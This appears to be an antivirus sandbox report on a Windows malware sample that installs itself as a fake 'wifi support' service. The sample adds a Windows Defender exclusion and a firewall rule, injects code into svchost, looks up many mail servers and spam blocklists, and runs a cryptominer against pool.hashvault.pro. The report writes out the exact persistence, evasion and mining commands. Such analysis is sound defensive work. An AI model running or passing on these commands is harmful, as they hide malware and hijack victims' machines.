Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\trniqnyn] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\trniqnyn] 'ImagePath' = '%WINDIR%\SysWOW64\trniqnyn\wyrcjrfv.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\trniqnyn] 'ImagePath' = '%WINDIR%\SysWOW64\trniqnyn\wyrcjrfv.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\trniqnyn' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\wyrcjrfv.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\wyrcjrfv.exe to %WINDIR%\syswow64\trniqnyn\wyrcjrfv.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://www.google.com/
UDP
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK li#e.fr
- DNS ASK br##et.com
- DNS ASK mx#.###refilter.com.br
- DNS ASK br###spar.com
- DNS ASK google.com
- DNS ASK bo######hoicerealestate.com
- DNS ASK nu##lms.ca
- DNS ASK mx#.####yscorp.iphmx.com
- DNS ASK pp#.gc.ca
- DNS ASK br###elmey.net
- DNS ASK gs#####truction.bc.ca
- DNS ASK fi####.datayard.us
- DNS ASK bo####sbistro.com
- DNS ASK mx#.#igicom.ca
- DNS ASK di###om.qc.ca
- DNS ASK sp##nt.ca
- DNS ASK mx.##deotron.ca
- DNS ASK vi###tron.ca
- DNS ASK cs#.ca
- DNS ASK ra#####ironmental.com
- DNS ASK br####eldphoto.com
- DNS ASK re####m.windsoc.net
- DNS ASK in###trada.it
- DNS ASK at#.net
- DNS ASK in######.messagingengine.com
- DNS ASK no###t-nite.com
- DNS ASK mx.###eneshop.no
- DNS ASK no##s.no
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK jp#.ca
- DNS ASK br###air.com
- DNS ASK co#.com
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK ma###.hostinguk.net
- DNS ASK br#####ldprinting.co.uk
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK co##.idt.net
- DNS ASK cx#.##.#.cloudfilter.net
- DNS ASK mx#######901.gslb.pphosted.com
- DNS ASK co#.net
- DNS ASK mx#.##il.icloud.com
- DNS ASK ma#.com
- DNS ASK pr#####.powergate.ca
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK ma####.mailtwo.com
- DNS ASK ad##ess.com
- DNS ASK mx#.#ate.com
- DNS ASK na##.com
- DNS ASK et###.#ail.tiscali.it
- DNS ASK ti###linet.it
- DNS ASK mx#.##rvers.aueb.gr
- DNS ASK au#b.gr
- DNS ASK nh#.org
- DNS ASK na##r.com
- DNS ASK gm##l.com
- DNS ASK aspmx.L.google.com
- DNS ASK br###soft.com
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK ho##ail.com
- DNS ASK al######x-vip2.prodigy.net
- DNS ASK be###outh.net
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK ao#.com
- DNS ASK po##.#ashvault.pro
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK mx#.#aver.com
- DNS ASK eq##v.net
- DNS ASK ea###tribe.net
- DNS ASK po###gate.ca
- DNS ASK mb.##mpatico.ca
- DNS ASK mx##.sbbs.se
- DNS ASK yn##r.se
- DNS ASK ma##.#engblads.se
- DNS ASK te###lads.se
- DNS ASK ra#####insurance.com
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK ma##.pley.net
- DNS ASK ya##o.it
- DNS ASK ti##ali.it
- DNS ASK ff######x-vip2.prodigy.net
- DNS ASK sb###obal.net
- DNS ASK mx##.#and1.co.uk
- DNS ASK bo##ont.net
- DNS ASK eq#####ealestate.net
- DNS ASK no##.gov
- DNS ASK mx.#im.it
- DNS ASK ti#.it
- DNS ASK as#.##flexion.net
- DNS ASK mx#.##p.iphmx.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\trniqnyn\wyrcjrfv.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\trniqnyn\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\wyrcjrfv.exe" %WINDIR%\SysWOW64\trniqnyn\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create trniqnyn binPath= "%WINDIR%\SysWOW64\trniqnyn\wyrcjrfv.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description trniqnyn "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start trniqnyn' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\trniqnyn\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\wyrcjrfv.exe" %WINDIR%\SysWOW64\trniqnyn\
- '%WINDIR%\syswow64\sc.exe' create trniqnyn binPath= "%WINDIR%\SysWOW64\trniqnyn\wyrcjrfv.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description trniqnyn "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start trniqnyn
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/xhv -o pool.hashvault.pro:80 -u hvs1hBH2qRhZkKfQyujRfXN4wmUM8hM4VQnhn9xUM6NVgAcdnA3dUBh7qqFx38kZTVEbU3tD3jr2aFXwFtwyj3is7hGGAcW1EH.5000 -p с -k